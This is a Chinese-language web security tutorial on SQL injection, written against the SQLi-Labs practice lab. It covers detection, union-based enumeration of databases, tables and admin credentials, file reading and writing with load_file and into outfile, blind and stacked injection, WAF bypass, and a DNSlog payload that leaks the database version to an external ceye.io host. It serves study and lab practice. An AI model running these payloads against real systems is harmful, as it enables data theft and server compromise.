《Web安全基础》03. SQL 注入

这篇具有很好参考价值的文章主要介绍了《Web安全基础》03. SQL 注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》

1:简要 SQL 注入

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SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利用,挖掘,修复也很重要。

SQL 注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到 sql 语句中,被当作 sql 语句的一部分进行执行,从而导致数据泄露、丢失甚至服务器瘫痪。

常见的 sql 注入产生原因:

  • 转义字符处理不合适
  • 不安全的数据库配置
  • 不合理的查询集处理
  • 不当的错误处理
  • 多个提交处理不当

注入判断:

1、逻辑值
and 1 = 1		页面正常
and 1 = 2		页面异常
则可能存在注入点

2、order by
通过 order by 判断注入的字段数

2:MySQL 注入

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SQL 注入思路都差不多,这里主要以 MySQL 为例。

2.1:信息获取

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

在 mysql5.0 以上版本存在 information_schema 数据库,记录着所有的数据库,表名,列名。

information_schema.tables     # 记录所有的表名
information_schema.columns    # 记录所有的列名
table_name                    # 表名
column_name                   # 列名
table_schema                  # 数据库名

本节示例见 SQLi-Labs Less-1。

2.2:跨库攻击

常见的数据库与用户的对应关系:

数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据

这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰

这是最基础的数据库模型,现在大网站都是分布式数据库。

跨库查询的前提条件是必须高权限的用户才能执行跨库查询。

跨库攻击,以 Less-2 示例:

# 获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

# 获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'

获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'

获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin

2.3:文件读写

获取的数据库权限会影响下一步测试思路。
高权限直接测试。
低权限就一步一步获取数据。

文件读写操作:

  • load_file():文件读取函数
  • into outfileinto dumpfile:文件写入、导出

获取路径的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

MySQL 查询是否有写入权限:
show global variables like '%secure_file_priv%';

读取本地文件示例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3

本地文件写入示例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1, 'test' ,3 into outfile 'E:\\test.txt' --+

2.4:常见防护

魔术引号:magic_quotes_gpc

当 magic_quotes_gpc = On 时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会加上转义符号(\)。

自定义防护:例如 PHP 中的判断输入是否是 int 型数据:is_int() 函数,这种就无法绕过。

3:注入方法

具体示例见 SQLi-Labs。

3.1:类型方法明确

在真实 SQL 注入安全测试中,一定要明确提交数据类型及提交方法后再进行注入。

明确参数类型:数字、字符、JSON 等。

明确接受的请求方法:GET、POST、COOKIE、REQUEST、HTTP 头等。

sql 语句干扰符号:'、"、、)、} 等,具体需看写法。

3.2:盲注

进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。

手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句。

可以通过查询方式与 SQL 的关系注入点产生的地方猜测到 SQL 查询方式。

涉及的 SQL 语句:
select:查询数据,在网站应用中进行数据显示查询操作。
insert:插入数据,在网站应用中进行用户注册添加等操作。
delete:删除数据,后台管理里面删除文章删除用户等操作。
update:更新数据,会员或后台中心数据同步或缓存等操作。
order by:数据排序,一般结合表名或列名进行数据排序操作。

在注入过程中,获取的数据不能回显至前端页面。此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注

盲注分为以下三类:

  • 基于布尔的 SQL 盲注:逻辑判断。
  • 基于时间的 SQL 盲注:延时判断。
  • 基于报错的 SQL 盲注:报错回显。

具体示例见 SQLi-Labs。

参考文章:
12种报错注入+万能语句
sql报错注入:extractvalue、updatexml报错原理
Order by排序注入方法小总结

3.3:编码

一些变量值在传递时会先编码或加密(如 base64 等)。这时手工注入就要先把传递值进行相应编码或加密。

例如 admin' and 1=1 base64 编码后的值是 YWRtaW4nIGFuZCAxPTE=

实际案例:SQLi-Labs-Less21:cookie&base64编码注入

一个简单的 base64 编码脚本:

<?php
	$url='http://xxxx/Less-1/index.php?id=;
	$payload=base64_encode($_GET['x']);
	$urls=$url.$payload;
	file_get_contents($urls);
	echo $urls;
?>

3.4:二次注入

《Web安全基础》03. SQL 注入,学习记录:Web安全基础,web安全,sql,安全

二次注入一般用于白盒测试,黑盒测试就算找到注入点也没办法攻击。

以 SQLi-Labs-Less24 为例:注册 admin'# 这样一个用户。

《Web安全基础》03. SQL 注入,学习记录:Web安全基础,web安全,sql,安全

此时修改 admin'# 用户的密码就能把 admin 用户的密码修改。

3.5:DNSlog 注入

DNSlog 盲注仅限于 windos 环境。能优化无回显问题。

相关资源:http://ceye.io

示例:

select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);

参考文章:https://www.cnblogs.com/xhds/p/12322839.html

3.6:堆叠注入

在 MySQL 中,每一条语句结尾加【;】表示语句结束。

堆叠注入(stacked injection)就是多个语句连接到一起执行的注入。

应用场景:

  • 注入需要管理员帐号密码,密码是加密,无法解密
  • 堆叠注入时插入数据,用户密码自定义,可以正常解密登录

参考文章:堆叠注入详解

4:WAF 绕过

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便灵活构造 Payload,从而和各种 WAF 进行对抗。

4.1:WAF 简介

简要来说,WAF 有以下功能:

  • 内容审计
    截获所有 HTTP 数据或不满足某些规则的会话

  • 访问控制
    控制对 Web 应用的访问,包括主动安全模式和被动安全模式

  • 架构 / 网络设计
    运行反向代理模式时,用来分配职能,集中控制,虚拟基础结构等

  • WEB 应用加固
    屏蔽 WEB 应用固有弱点,保护 WEB 应用编程错误导致的安全隐患。

WAF 的常见功能:

  • 异常检测协议:拒绝不符合 HTTP 标准的请求
  • 增强输入验证:代理和服务端的验证,而不只是限于客户端验证
  • 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题
  • 基于规则和异常的保护:基于规则,更多依赖黑名单机制;基于异常,更为灵活
  • 状态管理:进行重点会话保护
  • Cookies 保护
  • 抗入侵规避技术
  • 响应监视
  • 信息泄露保护

WAF 对扫描器防范手段:

  • 扫描器指纹:head字段、请求参数值等
  • 单 IP + cookie 某时间段内触发规则次数
  • 隐藏的链接标签等
  • Cookie 植入
  • 验证码验证
  • 单 IP 请求时间段内 WebServer 返回 http 404 状态比例:扫描器探测敏感目录基于字典,找不到文件则返回 404

4.2:绕过方法

《Web安全基础》03. SQL 注入,学习记录:Web安全基础,web安全,sql,安全

参考文章:
SQL注入-WAF绕过
sqlmap超详细笔记+思维导图

5:其他数据库注入

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5.1:Access

Access,关系型数据库。

Access 数据库比较特别,都是存放在网站目录下,后缀格式为 mdb,常搭配脚本
aspasa,可以通过一些暴库手段、目录猜解等直接下载数据库。

结构:

Access -> 表名 -> 列名 -> 数据

注入方式:
union 注入、http header 注入、偏移注入等。

Access 偏移注入:解决列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。

参考文章:Access偏移注入与原理

5.2:Sql Server

Microsoft SQL Server,也叫 MSSQL,关系型数据库。

注入方式和 MySQL 没什么两样。

参考文章:MSSQL注入

5.3:PostgreSQL

PostgreSQL,关系型数据库。

参考文章:PostGresql 注入知识汇总

5.4:Oracle

Oracle,关系型数据库。

参考文章:【实战】Oracle注入总结

5.5:MongoDB

MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库

  • 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用 JSON 传输。
  • tojson 函数可以输出 json 数据。

一个针对 MongoDB 注入的工具:NoSQLAttack


淡云孤雁远,寒日暮天红。

——《临江仙》(五代)徐昌图 文章来源地址https://www.toymoban.com/news/detail-624437.html

到了这里,关于《Web安全基础》03. SQL 注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

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